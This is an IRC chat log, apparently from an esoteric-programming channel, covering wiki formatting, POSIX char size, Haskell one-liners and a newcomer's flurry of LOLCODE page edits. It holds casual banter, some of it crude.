20:31:59 <ais523> elliott: a reddit comment explained the invention of the backslash a while back
20:32:10 <ais523> apparently, it was to make it possible to type /\ and \/
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20:32:33 <elliott> Evidence #1: Nobody gives a shit about them. Evidence #2: 90% of the content on the web is entered in that form (although some things automatically smartify the input, that's not really something that most people would notice).
20:32:40 <elliott> Evidence #3: Wikipedia uses the straight forms :p
20:33:31 <ion> ais: As in ∧ and ∨?
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20:34:20 <ion> _ and | were made for ⊥
20:34:22 <elliott> ion: For someone who cares about apostrophes you sure like mangling people's namse :)
20:34:28 <olsner> oh, they didn't invent the backslash to allow directories in DOS?
20:34:45 <ion> eliot: Really?
20:35:23 <ais523> ion: don't spell elliott's name, he doesn't like it and there's no excuse given the existence of tab-complete
20:35:28 <ion> Numbers in names are often just due to the real one being already taken. :-P
20:35:38 <ais523> (although, I find it hard to spell elliott any other way even when it's correct, having known this elliott so long)
20:35:41 <oerjan> `addquote <itidus21> I have identified a language which was only designed and implemented by me in a parallel universe. [...] IN AN ALTERNATE UNIVERSE: <itidus21> Ah, yet another brilliant programming language creation of mine!
20:35:43 <HackEgo> 828) <itidus21> I have identified a language which was only designed and implemented by me in a parallel universe. [...] IN AN ALTERNATE UNIVERSE: <itidus21> Ah, yet another brilliant programming language creation of mine!
20:35:54 <ion> I’m ion1 or something in some places but i’d prefer ion.
20:36:07 <ais523> Mathnerd314: that's not a common abbreviation for "elliott"
20:36:09 <elliott> ion: ais523 was preceded by 522 ais'.
20:36:18 <fizzie> elliott: Here's a quick thing -- http://zem.fi/~fis/trili3.svg -- but it's in Inkscape, so it's completely unusable; I can optomize it, though; I was just kinda prototyping. (The colors are also somewhat off.)
20:36:26 <ais523> it is a moderately common name, but it's short for something else
20:36:33 <elliott> Anyway, "taneb" and "mathnerd" are both wrong. :(
20:36:41 <olsner> elliott: plus 100 plus 10 plus 1 if you also count ais0-ais9, ais00-ais99 and ais itself
20:36:50 <Mathnerd314> ais523: my point was it makes tab-complete difficult
20:37:38 <ais523> ah, I didn't notice she was in /here/
20:37:43 <ais523> (I know her from another channel)
20:37:44 <elliott> fizzie: Modulo colours that's getting darn close... the slices look a bit naff, though. Maybe I should start playing around with it myself. Given that I know no SVG, that would be completely practical.
20:38:03 -!- Ngevd has changed nick to Taneb.
20:38:18 <Mathnerd314> ais523: and which channel would that be, or is it classified?
20:38:26 <oerjan> <elliott> "You've earned the "monads" badge. See your profile." <-- you are now obligated to make a tutorial.
20:38:31 <elliott> hmm, atheme/member/elly... does that mean I can yell at elly whenever services do something stupid?
20:38:44 <ais523> Mathnerd314: ##crawl-dev
20:38:50 <elliott> oerjan: http://stackoverflow.com/questions/8777216/how-do-you-identify-monadic-design-patterns/8777358#8777358
20:39:17 <olsner> monads, and design patterns?
20:39:32 <ion> Ooh, i like Crawl.
20:39:40 <elliott> olsner: It's the bestest answer to the worstest question.
20:39:42 <ion> Haven’t played for ages, though.
20:39:46 <elliott> ion: You won't get along with ais523, then!
20:39:59 <elliott> Or monqy. Do we have any people from Crawl channels that actually like Crawl?
20:39:59 <ais523> I /want/ to like Crawl, but can't
20:40:07 <ais523> every now and then I start playing it again, and remember why I don't like it
20:40:26 <Taneb> How do I get code-formatted markup in a table?
20:40:32 <elliott> All I really know about Crawl is that I hate its interface and a bunch of silly Windows users play it, so it most be terrible.
20:40:45 <ais523> Phantom_Hoover: devs are taking it in the wrong direction
20:40:45 <elliott> Taneb: you can start a new line after the | and use the space method, or just use <pre>
20:40:50 <elliott> Taneb: if it's just one-line code, use <code> instead
20:40:56 <elliott> Well, also what ais523 has told me.
20:41:07 <ais523> there seems to be some sort of crusade against tactics
20:41:16 <ais523> and the game tends to tend in the direction of obfuscating complexity
20:41:25 <ais523> security through obscurity makes no sense in a roguelike…
20:41:50 <elliott> fizzie: Out of curimatosity, how easy would it be to add a radial gradient on each lime centred at the... uh, centre? (I don't need a demonstration. (Mostly because I don't really need/want to see those colours again.))
20:43:24 <oerjan> elliott: btw is there a way to say that all <pre>'s inside a table should have class="plain" automatically? i am starting to think that would be useful...
20:43:28 <ais523> oerjan: interesting fact: while I have written several MiniMAX interps, I have never dared to run any of them
20:43:35 <ais523> also, does class="plain" on the table work?
20:43:41 <elliott> oerjan: I could do it like .plainlinks.
20:43:56 <elliott> oerjan: Instead of <pre class="plain">, it'd be any <pre> inside a .plainpre
20:44:19 <oerjan> elliott: i _tried_ if class="pre.plain" would work, but alas :(
20:44:35 <elliott> oerjan: No, that doesn't make any sense at all :)
20:45:01 <oerjan> elliott: it was just a wild guess
20:45:15 <elliott> oerjan: Okay, done. (The existing uses will have to be fixed.)
20:45:43 <elliott> Just class="plainpre" on something surrounding it and remove the <<class="plain">>s.
20:45:51 <elliott> Wait, make that plainpres.
20:48:44 <elliott> oerjan: By the way, I upgraded MediaWiki and you haven't even thanked me yet.
20:48:59 <oerjan> ais523: nice synchronicity - it was your MiniMax table that convinced me that something like plainpres was needed :)
20:49:19 <ais523> oerjan: I saw you editing MiniMAX, and being unsure why you were doing so
20:49:21 <ais523> have you figured it out yet?
20:49:31 <ais523> (I was commenting on MiniMAX /because/ you were editing it)
20:50:27 <oerjan> ais523: i just thought i should add a proper table, after doing so for the TC proof
20:50:45 <ais523> why you were editing it
20:50:50 <oerjan> ais523: also i hit the latter by pressing random
20:51:14 <elliott> ais523: he was unsure why he started his formatting because it's a lot of work, presumably
20:51:37 <oerjan> hm i guess press is also correct in english
20:51:53 <elliott> usually for buttons though
20:51:56 <elliott> oerjan: Do you want me to fix the existing uses of pre.plain?
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20:53:35 <elliott> oerjan: Actually, that was meant to make you feel guilty about not yet having done it.
20:53:53 -!- boily has quit (Quit: WeeChat 0.3.7).
20:54:31 <oerjan> elliott: THANK YOU FOR UPGRADING MEDIAWIKI. WE ARE ETERNALLY GRATEFUL, AND GIVE YOU THIS LOLLIPOP ------O
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20:55:43 <elliott> I'm too tired to operate vim, man!
20:55:54 <elliott> I would have to fix them... BY HAND
20:56:41 <oerjan> elliott: well you see i haven't finished reading the logs, i have this stackoverflow link open which you linked, and GETTING TO THINGS TAKES TIME
20:57:38 <elliott> It wasn't even a proper upgrade, anyway, just a security upgrade.
20:57:42 * elliott takes his ball and goes home.
20:58:25 <elliott> http://stackoverflow.com/questions/9751923/church-lists-in-haskell http://stackoverflow.com/questions/9846368/operations-on-church-lists-in-haskell
20:58:28 <elliott> Hmmmmmmmmmmmmmmmmmmmmmmmm...
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20:59:31 <elliott> oerjan: I also did a: http://esolangs.org/forum/
21:00:17 <oerjan> i'm sorry, my things-to-remember-to-check queue is overflowing
21:00:46 <elliott> Well, I also a-talk'd 'bout it in th'logs.
21:02:57 <Taneb> Real Fast Nora's Hair Salon 3: Shear Disaster Download was originally going to be a really terse language with only four one-character commands
21:03:13 <Taneb> \\\```SS0\\`0`S0SSS0\S0\0 soon became LAMBDA LAMBDA LAMBDA APPLY APPLY APPLY ONE MORE THAN ONE MORE THAN ZERO LAMBDA LAMBDA APPLY ZERO APPLY ONE MORE THAN ZERO ONE MORE THAN ONE MORE THAN ONE MORE THAN ZERO LAMBDA ONE MORE THAN ZERO LAMBDA ZERO
21:04:27 <oerjan> @Gabe, what was this about...
21:04:27 <lambdabot> Plugin `babel' failed with: Error: Language what not supported
21:04:40 <oerjan> oh right it's just that
21:04:54 <oerjan> weird that it happened while discussing transliteration :P
21:06:33 <oerjan> <elliott> I'm haskell, haskell, haskell, monads. <-- that _ought_ to summon some elder god.
21:06:57 <ion> taneb: How about being able to supply a dictionary of your own names for each command?
21:07:18 <elliott> ion: are you kidding? then how would anyone make a trivial derivative of it by replacing all the commands with animal noises?
21:07:30 <pikhq_> Hmm. POSIX implicitly mandates 8-bit char.
21:08:29 <olsner> aw, life certainly isn't easy for all those 9-bit machines
21:08:34 <ion> SHIT SHIT SHIT ELLIOTT ELLIOTT ELLIOTT TRIBBLE TRIBBLE SPOON SHIT SHIT STEVE JOBS SPOON
21:08:46 <elliott> ion: How did you discover my true name?
21:08:56 <nortti> olsner: or those 7bit machines
21:09:02 <olsner> TRIBBLE TRIBBLE SPOON SHIT SHIT STEVE JOBS SPOON
21:09:02 -!- Taneb has quit (Read error: Connection reset by peer).
21:09:04 <pikhq_> (In POSIX, int8_t must exist. Therefore, there must be a type that is exactly 8 bits. All types must be positive integer multiples of char in size. char must be at least 8 bits. Therefore, POSIX char must be 8 bits.)
21:09:10 -!- Taneb has joined.
21:09:16 <pikhq_> nortti: char must be at least 8 bits by ISO C, so they're already screwed.
21:09:19 <elliott> The design patterns answer, I mean.
21:09:45 <elliott> You should totally, like, retract that and do it after midnight so I get the rep. :p
21:13:34 <pikhq_> Oh, and apparently "char" is defined to be an octet in POSIX. Hey.
21:13:41 -!- derdon has quit (Remote host closed the connection).
21:13:47 -!- Taneb has quit (Client Quit).
21:14:28 <elliott> Taneb ignored my instructions.
21:14:59 <elliott> @tell Taneb Zero isn't the smallest number.
21:15:23 -!- augur has quit (Remote host closed the connection).
21:17:32 <oerjan> <elliott> Does anyone even notice me doing that any more? <-- no.
21:20:38 <olsner> elliott: notice you doing what, btw?
21:21:52 <elliott> olsner: My head imploding.
21:21:56 <elliott> RocketJSquirrel once asked me if it happened often.
21:23:14 -!- itidus21 has joined.
21:25:13 -!- einSelbst has left ("Ex-Chat").
21:27:03 <elliott> Maybe we should have welcomed that guy.
21:28:37 -!- augur has joined.
21:29:23 <oerjan> nah, with that nick he was destined to be lonely
21:31:45 <elliott> What does it translate to?
21:32:03 <olsner> or one lonely, perhaps
21:32:43 <olsner> or maybe oneself, the pronoun
21:48:10 <oerjan> <elliott> RocketJSquirrel: HOW IS THERE A CULTURE OF MANUAL SVG MINIMISATION <-- scalable vector golf?
21:57:22 -!- ais523 has quit (Remote host closed the connection).
22:13:34 <itidus21> svg isn't as bad as what i am trying to cook up
22:14:10 <oerjan> elliott: [[Wikipedia: ...]] still don't look like external links okthxbye
22:15:01 -!- Patashu has joined.
22:15:10 <itidus21> i busy myself thinking about ways to make 2d video game coding elegant
22:15:36 <elliott> oerjan: i'm not going to make them look like completely external links...
22:15:47 <elliott> they use the same colours as external links
22:16:04 <oerjan> elliott: my main point here is that if there is a link to a wikipedia article on a subject which we _might_ want on our wiki ourselves, then it should not look visually to a casual observer like we already _have_ one.
22:16:25 <oerjan> even if there's a slight difference.
22:16:48 <elliott> oerjan: if we might want an article on a subject, an interwiki link is inappropriate...
22:16:58 <elliott> i could look into adding a "W" icon to the wikipedia interwiki links
22:20:05 <oerjan> <elliott> oerjan: if we might want an article on a subject, an interwiki link is inappropriate... <-- i don't think that will be possible to police effectively
22:21:19 <elliott> well, if a reader is reading a bad article, all bets are off as far as what impression they get :)
22:21:45 <oerjan> sorry, i really meant "casual possible editor"
22:22:00 <elliott> fair enough. like i said, <elliott> i could look into adding a "W" icon to the wikipedia interwiki links
22:22:15 <elliott> but otoh I don't really consider wikipedia all that "external" to us
22:22:35 <elliott> for the most part, you can view esolang as Wikipedia: esoteric languages annex
22:28:40 <elliott> Easy; just construct a new Google which is like based on the old Google, except that the document exists in the new Google. Then you have avoided all side effects on Google. – Kaz 23 mins ago
22:28:40 <elliott> SHUT UP YOU FUCKING MORON YOU HAVE NEVER POSTED ANYTHING IN THE [HASKELL] TAG SO YOU'RE JUST A COMPLETE IDIOT MAKING AN UNINFORMED JOKE FOR NO FUCKING REASON OTHER THAN YOU ARE A SAD, PATHETIC, EXC
22:28:53 <elliott> Did you know I can't stand the jokes people make about Haskell?
22:29:16 <elliott> oerjan: How do I stop hating people?
22:30:06 <shachaf> elliott: Why did the monad cross the road?
22:30:22 <elliott> shachaf: To sequence the impurity of the container.
22:30:37 <shachaf> elliott: Do you hate yourself?
22:31:39 <itidus21> ... i will be glad for myself later
22:31:53 <shachaf> elliott: Also, that wasn't a Haskell joke. It was a category theory joke.
22:32:26 <elliott> shachaf: Yes, and tough, I ruined it.
22:32:47 <elliott> RocketJSquirrel: I'm starting to regret saying that. Can you remove it from the logs?
22:33:08 <shachaf> elliott: That's not how logs work.
22:33:19 <shachaf> elliott: Should've said it in... Another channel.
22:33:41 -!- zzo38 has joined.
22:34:25 <shachaf> zzo38: Tell me a Haskell joke.
22:34:33 <zzo38> shachaf: I don't know.
22:34:45 <itidus21> i have one but i refuse to say it
22:34:55 <shachaf> zzo38: Why did the barrier monad cross the road?
22:35:15 <zzo38> shachaf: My answer is the same as before; I don't know.
22:35:16 <elliott> to get to the other side (of the barrier)
22:35:46 <zzo38> RocketJSquirrel: Hay you!
22:35:53 <itidus21> so i'll make a more playful joke
22:35:54 <shachaf> elliott: Because it was too long to around (the barrier).
22:36:43 <oerjan> <elliott> oerjan: How do I stop hating people? <-- in theory you should meditate to induce a positive worldview; I can never seem to make it work for more than a few hours though, after which I feel like shit.
22:37:02 -!- Taneb has joined.
22:37:11 <elliott> You know, I think asking for life advice from oerjan is one of the worst mistakes anyone could possibly make.
22:37:27 <lambdabot> Taneb: You have 1 new message. '/msg lambdabot @messages' to read it.
22:37:34 <lambdabot> elliott said 1h 22m 33s ago: Zero isn't the smallest number.
22:37:36 <elliott> Well... unless your supplies of pessimism are running dangerously low.
22:37:55 <Taneb> elliott, it's the smallest number suitable for this context
22:38:15 <zzo38> It depends; is it natural numbers? If so, then it will be zero isn't it?
22:38:16 <Taneb> But it's where I have decided to start counting
22:38:29 <elliott> RocketJSquirrel: Did you accidentally censor all my comments?
22:38:41 <RocketJSquirrel> As of GCC 4.7.0, apparently they're not distributing gcc-{core,c++,etc}-version.tar.foo files
22:38:41 <itidus21> <elliott> oerjan: How do I stop hating people? << i'm certainly not oerjan which makes this even worse. however, construct a new elliott which is like based on the old elliott except the hating people doesn't exist in the new elliott
22:39:16 <Taneb> Does it make your JIT dc not compile?
22:39:32 <RocketJSquirrel> elliott: It just means you always have to specify --enable-languages=c
22:39:52 <elliott> RocketJSquirrel: Oh nooooooooooooooooooooooooooooooooooo.
22:39:54 <oerjan> `addquote <shachaf> zzo38: Why did the barrier monad cross the road? <zzo38> shachaf: My answer is the same as before; I don't know.
22:39:57 <HackEgo> 829) <shachaf> zzo38: Why did the barrier monad cross the road? <zzo38> shachaf: My answer is the same as before; I don't know.
22:40:00 <elliott> That bolding went terribly wrong.
22:40:29 * elliott puts Jobs For 14 Year Olds In Memphis on the language name queue.
22:41:20 <shachaf> elliott: Do you like how REDACTED_IN_THIS_CHANNEL?
22:41:54 <elliott> RocketJSquirrel: You're accidentally redacting other messages before they're even sent.
22:42:04 <oerjan> <elliott> Well... unless your supplies of pessimism are running dangerously low. <-- there was a time i thought this method _would_ work, before i realized the aftereffects don't go away with any amount of practice i have patience for.
22:43:33 <oerjan> <shachaf> oerjan: I don't get it. <-- IS FUNNY JOKE
22:43:48 <RocketJSquirrel> Also, I heard that █████████ in ████████████████████, Tennessee██████████████paringl████████████████ of another ███.
22:43:53 -!- Taneb has quit (Ping timeout: 240 seconds).
22:44:29 <zzo38> There are things I dislike about the gloss package; one thing is in my opinion Picture should be an opaque type without Eq, rotation being counterclockwise, and other things. I do have other idea too
22:45:09 <elliott> RocketJSquirrel: I heard ██████ ████d in the ████ with the ██████. Disgust███.
22:46:24 <shachaf> ████ █████ ████ █ █████ ██ ████ ██ ████████ ███ ██████ ██ ████ ██ ███████████ ██ ██ elliott.
22:47:45 <itidus21> █ █████ ████ ████ ██ █ ██████ █████ ███ ██ ██ ████. █ ██ ████ █ ████████.
22:48:31 -!- azaq23 has quit (Quit: Leaving.).
22:48:35 <itidus21> i didnt say anything worth the bytes
22:49:23 <shachaf> Man, it sure is spheroidal in here today, isn't it?
22:50:21 <shachaf> elliott: See what I did there?
22:51:22 <itidus21> ████, idk if you're ██ ████ neither if ███'██ ██ type, but even if █████ perfect matches, it wouldn't ██████ if you're looking for a presential █████ once █'█ in Brazil
22:51:26 <elliott> http://esolangs.org/forum/kareha.pl/1143921272/l50 -- everyone in 2006 is a loser.
22:51:37 <elliott> I could write, like, ten BF programs that output Graham's number.
22:51:53 <elliott> What is Jafet doing in 2006?!
22:52:55 <zzo38> What is your opinion of this kind of code? conversion/"gain",#1[numeric],"life": gen_gain_life(#1)[action]; rule/gen_gain_life(#1): switch( and(greater(#1,0),has_property(property.life)),do_gain_life(#1), and(equal(#1,0),has_property(property.life)),relax(), true(),action_fail() ); rule/do_gain_life(#1): set(property.life,add(get(property.life),#1));
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22:58:54 <zzo38> Does anyone in here know about these kinds of programming codes?
22:59:44 <itidus21> its obviously related to game of life
23:02:00 <oerjan> elliott: btw have you used class="plain" in any articles other than that brainfuck bitwidth conversions one?
23:02:16 <oerjan> (i'm assuming no one but us two have used it)
23:02:20 -!- nortti has quit (Quit: ChatZilla 0.9.88.1 [Firefox 11.0/20120312200651]).
23:02:56 <oerjan> it seems impossible to search for
23:03:21 <elliott> that and qdeql are the only uses afaik
23:03:47 <oerjan> and the ones i added yesterday :P
23:06:11 <itidus21> zzo38: it seems to take the form a0/b0: c0; a1/b1: c1; ... aN/bN: cN;
23:06:27 -!- MDude has joined.
23:07:33 <oerjan> elliott: oops, what's the syntax for having more than one class on an item?
23:12:45 <elliott> a market town in northern england is wikipedia's today's featured article
23:12:48 <elliott> and it's not even hexham!!!
23:12:59 <elliott> someone will pay dearly for this.
23:13:31 <elliott> admittedly they've... quadrice our population. what is thrice for four
23:14:57 <itidus21> zzo38: the parameter counts i see are get(a),set(a,b),switch(a,b,c,d,e,f),greater(a,b),and(a,b),has_property(a),equal(a,b),relax(),true(),action_fail(),add(a,b)
23:17:10 <zzo38> itidus21: Actually some are supposed to be varying number of parameters
23:17:46 <itidus21> zzo38: well as if i would know .. but i am drawing attention to it
23:18:02 <itidus21> im so selfconcious of that now
23:19:03 * oerjan discovers it might be a good idea to set vim to use utf-8
23:20:33 <itidus21> zzo38: it is however a great distarction from my problems
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23:23:35 <itidus21> why must great happiness be followed by great distress.... i suppose we evolved to deal with both
23:29:35 <oerjan> itidus21: the same theory i mentioned above says that the first step to changing that is to stop believing it has to be true. (no, i never made that work either.)
23:29:54 <itidus21> you know whats better than utf-8? a billion dollars!
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23:31:56 <itidus21> honestly though i have not felt happier in quite a long time.. as on my birthday i got a nice new graphics card.. and have been floating on this fact like a cloud
23:32:26 <itidus21> but then i find a bill on the kitchen bench which dredges up things i forgot all about..
23:34:25 <itidus21> someone explained to me that if i had have gone to bring the form which would have meant no paying that i would have been hit by a bus while crossing a road
23:34:53 <itidus21> so everything went better than expected
23:41:50 <zzo38> For example, and() could take any number of parameters, and switch() could take any even number of parameters.
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23:47:38 <itidus21> @ a function which demands an even number of params
23:49:03 <itidus21> its just something i havent heard of
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00:08:55 <zzo38> In this case it is because first parameter is condition, and then after that is the value in case this condition, and then next condition afterward, etc
00:14:24 <itidus21> yeah.. that makes sense of course.. im just rambling
00:21:44 <zzo38> It is something a bit like Lisp, but it is not like Lisp.
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08:19:21 <Twirt199> http://esolangs.org/wiki/Nonsense_Query_List
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08:21:05 <NSQX> esolangs.org/wiki/Nonsense_Query_List
08:21:22 <NSQX> X http://esolangs.org/wiki/Nonsense_Query_List
08:21:38 <NSQX> How easy or difficult is it to write a Nonsense Query List?
08:25:04 <NSQX> Where's Ehird?
08:26:07 <NSQX> Any opinions on writing Nonsense Query Lists?
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09:02:53 <zzo38> Do you know the game consist of, fire, earth, water, air, and the goal of the game is to make more air?
09:03:12 <Taneb> This sounds familiar
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09:19:34 <zzo38> What is a way to represent a form for picture distortion? One idea I have, is using the RGB of a PNG file so that there is relative 12-bits X and Y coordinates on each pixel to tell which one from source to copy? Is there other idea?
09:21:06 <zzo38> (So that, for example, in TeXnicard you can tell it to make the text for the name of the card to be curved, or slanted, and other things like that)
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09:24:12 <zzo38> (Internally in TeXnicard, all pictures are either monochrome bitmaps or grayscale; so you need to copy each channel of RGM into grayscale and vice versa)
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09:28:58 <zzo38> TeXnicard uses floating points for only one purpose. Do you know which one it is?
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11:08:50 <elliott> WHAT THE FUCK HAPPENED TO THE WIKI?!
11:09:10 <elliott> I guess I should block this NSQX person
11:11:03 <elliott> OK, mostly looks like changes to the main page and baffling featured languages changes
11:12:59 <elliott> Not a bot, either someone trying to cause chaos or a way, way overenthusiastic person.
11:13:16 <elliott> I'll get to reverting the mess they made...
11:13:18 <fizzie> elliott: Did you see he tried to find you on here?
11:13:22 <monqy> not as best as the spambot that removed paragraphs and replaced them with misspelled complements
11:13:26 <fizzie> 10:19 < Twirt199> http://esolangs.org/wiki/Nonsense_Query_List
11:13:27 <elliott> fizzie: Yes, I checked the logs to figure out WTF was going on.
11:13:53 <fizzie> (Also as NSQX, I suppose it's the same person.)
11:13:59 <elliott> fizzie: I think a day's block might be in order. ("Assume good faith", and so on.)
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11:15:17 <elliott> /* This was created as a start of porting MediaWiki to support Nonsense Query List databases, which should then be the database type that Esolang's MediaWiki software uses */
11:15:25 <fizzie> I haven't looked at the wiki at all. But yes, sounds like overenthusiasm.
11:16:16 <elliott> Ah, looks like it's the creator of Basic Input/Output Commands.
11:18:43 <elliott> fizzie: I need adult supervision, do I block this guy for a day or not :|
11:18:46 <elliott> You're, like, the maturest op.
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11:19:54 <NSQX> Is http://esolangs.org/wiki/LOLCODE now better than a stub?
11:20:02 <NSQX> Also see http://esolangs.org/wiki/Talk:LOLCODE
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11:27:01 <NSQX> Have you read these two pages, monqy?
11:27:11 <NSQX> Do you think that http://esolangs.org/wiki/LOLCODE is now better than a stub, monqy?
11:27:46 <NSQX> Otherwise, what is the monqy doing?
11:29:22 <monqy> I don;t qnow if i'm qualified to say
11:30:14 <monqy> I don't have much experience with wiki page standards and grading
11:30:19 <monqy> where by much I mean
11:30:41 <fizzie> monqy: But what *is* the monqy doing.
11:31:09 <NSQX> Then is anyone else, like Ehird or Orejan available for reviewing those pages?
11:31:52 <monqy> is being here doing enough
11:32:01 <elliott> I'm ehird. oerjan uses the same name on IRC.
11:32:02 <monqy> I guess I'm looking between the lolcode page and irc
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11:33:11 <NSQX> elliott, do you think that http://esolangs.org/wiki/LOLCODE is now better than a stub?
11:33:23 <elliott> Well, it's certainly larger than most stubs now :)
11:33:28 <elliott> Did you see the message I left you on your user talk page?
11:35:17 <NSQX> "Well, it's certainly larger than most stubs now :)" - does that mean that it is now okay to remove {{stub}} from the page about LOLCODE?
11:35:31 <NSQX> I saw the message you left on my talk page.
11:36:15 <elliott> Well, generally we like to have a relatively complete specification of a language before considering it a non-stub, i.e. examples and the like usually don't count towards non-stubness. But I'm not sure, I'd wait for other people to reply on the talk page for other opinions.
11:36:47 <NSQX> Anyone in the Esolang community will probably just remember this day, a week before April Fools Day, as a very enthusiastic day at Esolang.
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11:38:24 <elliott> ;;;;;;;;;;;;;;;;;;;;;;;;;;
11:39:23 <elliott> i don't even know what right is any more
11:39:24 <Madoka-Kaname> Meaning that spec is not turing complete, which I'm 99% sure LOLCODE is.
11:39:37 <elliott> but uh http://esolangs.org/w/index.php?title=LOLCODE&oldid=23618 is what it was before
11:39:45 <elliott> "main" keywords i think it's just a partial list or whatever
11:43:47 <elliott> `addquote <NSQX> Anyone in the Esolang community will probably just remember this day, a week before April Fools Day, as a very enthusiastic day at Esolang.
11:43:56 <elliott> maybe adding a quote will help me understand
11:43:57 <HackEgo> 830) <NSQX> Anyone in the Esolang community will probably just remember this day, a week before April Fools Day, as a very enthusiastic day at Esolang.
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11:46:12 <fizzie> I do wonder if the newly-added libraries are in any standard or implementation, though.
11:46:18 <fizzie> lolcode.com is quite a mess. :/
11:46:56 <fizzie> Last posts on the forum seem to be from early 2009.
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11:52:32 <elliott> fizzie: Well, the "VISIBLE" thing is standard.
11:52:35 <elliott> But the file IO seems: not.
11:52:52 <elliott> fizzie: I'll look into whether the changes are correct later and revert if not.
11:53:20 <fizzie> I was just wondering, since the changelog comment was "-- created a few new LOLCODE libraries --"
11:53:30 <elliott> fizzie: Oh, the Unix one and all that are nonsense.
11:53:35 <elliott> But the STDIO one is at least partially correct.
11:53:58 <elliott> fizzie: The "standard" thing for extensions to other people's languages is to create a new page with them, but I hope you can understand I'm reluctant to suggest that.
11:55:47 <fizzie> I see the looping construct apparated right now.
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12:07:53 <NSQX> Well, people, I only thought of all LOLCODE extensions having similar names to the original C/C++ header filenames, but adding support for code that looks like LOLSPEAK for doing almost the same things as the equivalent C/C++ libraries.
12:08:28 <NSQX> For example, "CAN HAZ STDLIB?" in LOLCODE would be the same as #include <stdlib.h> in C/C++,
12:08:50 <NSQX> "CAN HAZ WCHAR?" in LOLCODE would be the same as #include <wchar.h> in C/C++,
12:09:12 <NSQX> "CAN HAZ IOSTREAM?" in LOLCODE would be the same as #inlcude <iostream> in C/C++,
12:09:34 <NSQX> and "CAN HAZ WINDBLOZE?" in LOLCODE would be the same is "#include <windows.h>" in Microsoft Visual C++
12:10:38 <NSQX> "I HAZ A TIMESTAMP ITZ DA NIX TIMESTMP F DA DAT N TIME NOW/LOL TIMESTAMP R DA NIX TIMESTMP F DA DAT N TIME NOW" in LOLCODE would be the same as "timestamp = time(NULL);" in C/C++
12:11:11 <NSQX> If you don't know what a Unix timestamp is, go to http://en.wikipedia.org/wiki/Unix_timestamp .
12:11:43 <monqy> why do you mention this
12:14:09 <NSQX> 'PLZ OPEN FILE "C:\autoexec.bat"' in LOLCODE is almost the same as 'file = fopen("C:\autoexec.bat");' in C/C++
12:14:33 <NSQX> "PLZ OPEN FILE" is also documented in Wikipedia's article about LOLCODE ( http://en.wikipedia.org/wiki/LOLCODE )
12:14:45 <NSQX> That could easily mean it IS standard LOLCODE.
12:14:49 <monqy> my question remains
12:14:51 <monqy> what are you getting at
12:19:24 <Patashu> I need to bring something up
12:19:25 <fizzie> According to the official example -- http://lolcode.com/examples/filezorz -- it puts a file handle in the variable, not the contents. But anyway. LOLCODE is so poorly specified; there's just the 1.2 standard, and it's pretty sparse.
12:19:28 <Patashu> the lolcode standardization committee
12:19:31 <Patashu> do you know where to consult with them
12:20:06 <fizzie> Patashu: They have a dead wiki and a dead forum, you could try those.
12:20:15 <Patashu> sorry I'm not into dead people
12:20:43 <monqy> how about the other way
12:20:59 <Patashu> I need to think about that a moment
12:21:05 <Patashu> THINK THINK THANK THUNK THONK
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12:24:52 <quintopia> i need to bring down the lolcode standardization committee
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12:32:58 <elliott> @tell ais523 http://lambda-the-ultimate.org/node/4471
12:36:23 <fizzie> http://www.baldursgate.com/news/2012/03/21/baldurs-gate-enhanced-edition-for-ipad-3/ -- didn't someone predict it's a tablet version?
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12:37:11 <fizzie> (Though maybe that's just in addition to the computaur version.)
12:37:41 <elliott> I predicted, I think. Though I think I was parrotting another prediction.
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12:45:24 <elliott> > mconcat [([],[1],[]), ([1],[],[])]
12:47:18 <elliott> fizzie: Hey, golf me a function to turn [ [ [1], [], [2] ], [ [3,4], [5], [7] ] ] into [ [1,3,4], [5], [2,7] ].
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12:50:25 <elliott> > foldr (zipWith (++)) [[],[],[]] $ [ [ [1], [], [2] ], [ [3,4], [5], [7] ] ]
12:51:12 <fizzie> > (\(a,b,c) -> [a,b,c]) . mconcat . ((\[a,b,c] -> (a,b,c)) <$>) $ [ [ [1], [], [2] ], [ [3,4], [5], [7] ] ] -- to follow your own mconcat, short and simple as anything, HTH.
12:52:31 <elliott> :t \ps -> foldr (zipWith (++)) ([] <$ ps) . map (\x -> map (\p -> x <$ guard (p x)) ps)
12:52:32 <lambdabot> forall a. [a -> Bool] -> [a] -> [[a]]
12:54:58 <fizzie> @pl \ps -> foldr (zipWith (++)) ([] <$ ps) . map (\x -> map (\p -> x <$ guard (p x)) ps)
12:54:58 <lambdabot> ap ((.) . foldr (zipWith (++)) . ([] <$)) (map . flip (map . liftM2 (.) (<$) ((guard .) . flip id)))
12:55:16 <fizzie> Aw, I was hoping for much more flips and .s.
12:55:39 <elliott> fizzie: Points if you can tell what that does. :p
12:57:25 <fizzie> I could guesstimate directly from the type.
12:59:00 <elliott> fizzie: Hmm, yeah, I shouldn't have done that :t.
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13:03:54 <fizzie> > (flip (map . flip filter)) [odd, even, (>5)] [1..10] -- I would expect something like that from the :t
13:03:56 <lambdabot> [[1,3,5,7,9],[2,4,6,8,10],[6,7,8,9,10]]
13:06:03 <elliott> Yes, it's that, except it only tramaverses the lyste wunce.
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13:16:35 <NSQX> http://esolangs.org/wiki/Objective_LOLCODE
13:17:48 <Phantom_Hoover> NSQX, I'd politely ask you to die but elliott would probably yell at me for being mean.
13:18:10 <fizzie> Phantom_Hoover: It's not brainfuck.
13:18:45 <elliott> Phantom_Hoover is a really cheerful person.
13:19:00 <NSQX> There are two variants of LOLCODE: original LOLCODE and Objective LOLCODE
13:19:08 <Phantom_Hoover> Yes; rather than a crappy derivative of an interesting language it's a crappy derivative of the worst thing ever to be called esoteric.
13:20:41 <fizzie> Phantom_Hoover: Objective brainfuck! It's just like brainfuck, except if you have two "+"s consecutively, it does like HQ9++ does.
13:22:22 <fizzie> Anyway regarding Objective LOLCODE, http://lolcode.com/proposals/1.3/bukkit and http://lolcode.com/proposals/1.3/bukkit2
13:22:37 <NSQX> There's no such thing as Objective Brainfuck, or even Objective FALSE, because a programming language made of only symbols can only be esoteric/pointless.
13:24:36 <NSQX> However, there is a such thing as Objective LOLCODE because LOLCODE can actually be similar to Ruby or C (just as a LOLSPEAK-like version, that's the only change)
13:25:02 <elliott> That's precisely why most people don't consider LOLCODE a very good esolang.
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13:26:00 <elliott> Well, FSVO "most people" and all that. Uh.
13:27:40 <fizzie> Anyhoo, I think BUKKITs have some sort of a quasi-standard status, being that they're an "official" proposal and have some amount of support in implementations.
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13:56:18 <elliott> fizzie: Where was that trilime SVG?
13:59:18 <fizzie> http://zem.fi/~fis/trili3.svg was the last one.
13:59:27 <fizzie> The Inkscape prototype, I mean.
14:06:52 <elliott> fizzie: Was the colour for each of the limes just a random picking from them, or an average of some kind?
